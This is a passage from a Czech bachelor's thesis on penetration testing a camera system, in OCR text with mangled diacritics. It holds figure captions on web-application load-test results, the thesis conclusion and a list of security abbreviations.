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Obr. 5.24: Srovnani distribuce ¢asti odpovédi webové aplikace pri jednotlivych tes-
tech

Grafy na obrazku 5.25 znazornuji zavislost primérného zpozdéni jednotlivych
stranek webové aplikace na uplynulém case daného testu.

Na zacatku testovactho scénate se 100 uzivateli doslo ke chvilkovému pretizeni
prihlasovaci stranky, vzhledem k dalsimu pribéhu testu vsak lze hovorit spise o ano-

malii.
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Obr. 5.25: Srovnani zpozdéni odpovédi webové aplikace pri jednotlivych testech

Na obrazku 5.26 je graficky zobrazena statistika ,,Hits per second“, ktera popi-
suje pocet pozadavki odeslanych na webovou aplikaci za jednu sekundu. Na ose =

je uveden v minutach cas uplynuly od zacatku testu.
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Obr. 5.26: Srovnani poc¢tu odeslanych pozadavku za sekundu na webovou aplikaci

pri jednotlivych testech
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Zaveér
V bakalarské praci byly popsany metodologie penetracniho testovani, stejné tak jeho
rizné druhy a typy.

Déle je v této praci uvedeno a priblizeno nékolik vybranych nastroju, jez jsou
pouzivany pri penetracnim testovani. V nasledném popisu testovactho prostredi je
mimo jiné uvedeno i pripojeni testovaciho pocitace do testovaciho prostredi.

Na zakladé resersi o metodologiich penetrac¢niho testovani a povaze testovaciho
prostredi byla zvolena vhodna metodologie penetracniho testu kamerového systému.
V souladu s touto metodologii byl proveden sbér informaci o testovaném kamerovém
systému. V navaznosti na vysledky skenovani kamerového systému byly provedeny
testy vsech ¢asti kamerového systému.

Nélezy penetracniho testovani byly prehledné zpracovany do zavérecné zpravy.
Soucasti této zpravy je i doporuceni k odstranéni bezpecnostnich slabin kamerového
systému. Penetracni testovani odhalilo nékolik kritickych nedostatki, které by mély

byt odstranény pred zpristupnénim kamerového systému.
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Seznam symboli a zkratek

PTES
NUKIB
OSINT
VPN
SSH
NSE
BSD
OWASP
ZAP
IoT
VNC
RDP
HTTP
HTTPS
WUDO
IANA
NIST
DoS
RCE

MITM

Penetration Testing Execution Standard

Néarodni drfad pro kybernetickou a informacni bezpecnost

Open Source Intelligence

Virtual Private Network

Secure Shell

Nmap Scripting Engine

Berkeley Software Distribution

Open Web Application Security Project
Zed Attack Proxy

Internet of Things

Virtual Network Computing

Remote Desktop Protocol

HyperText Transfer Protocol
HyperText Transfer Protocol Secure
Windows Update Delivery Optimization

Internet Assigned Numbers Authority

National Institute of Standards and Technology

Denial of Service

Remote Code Execution

Man in the Middle
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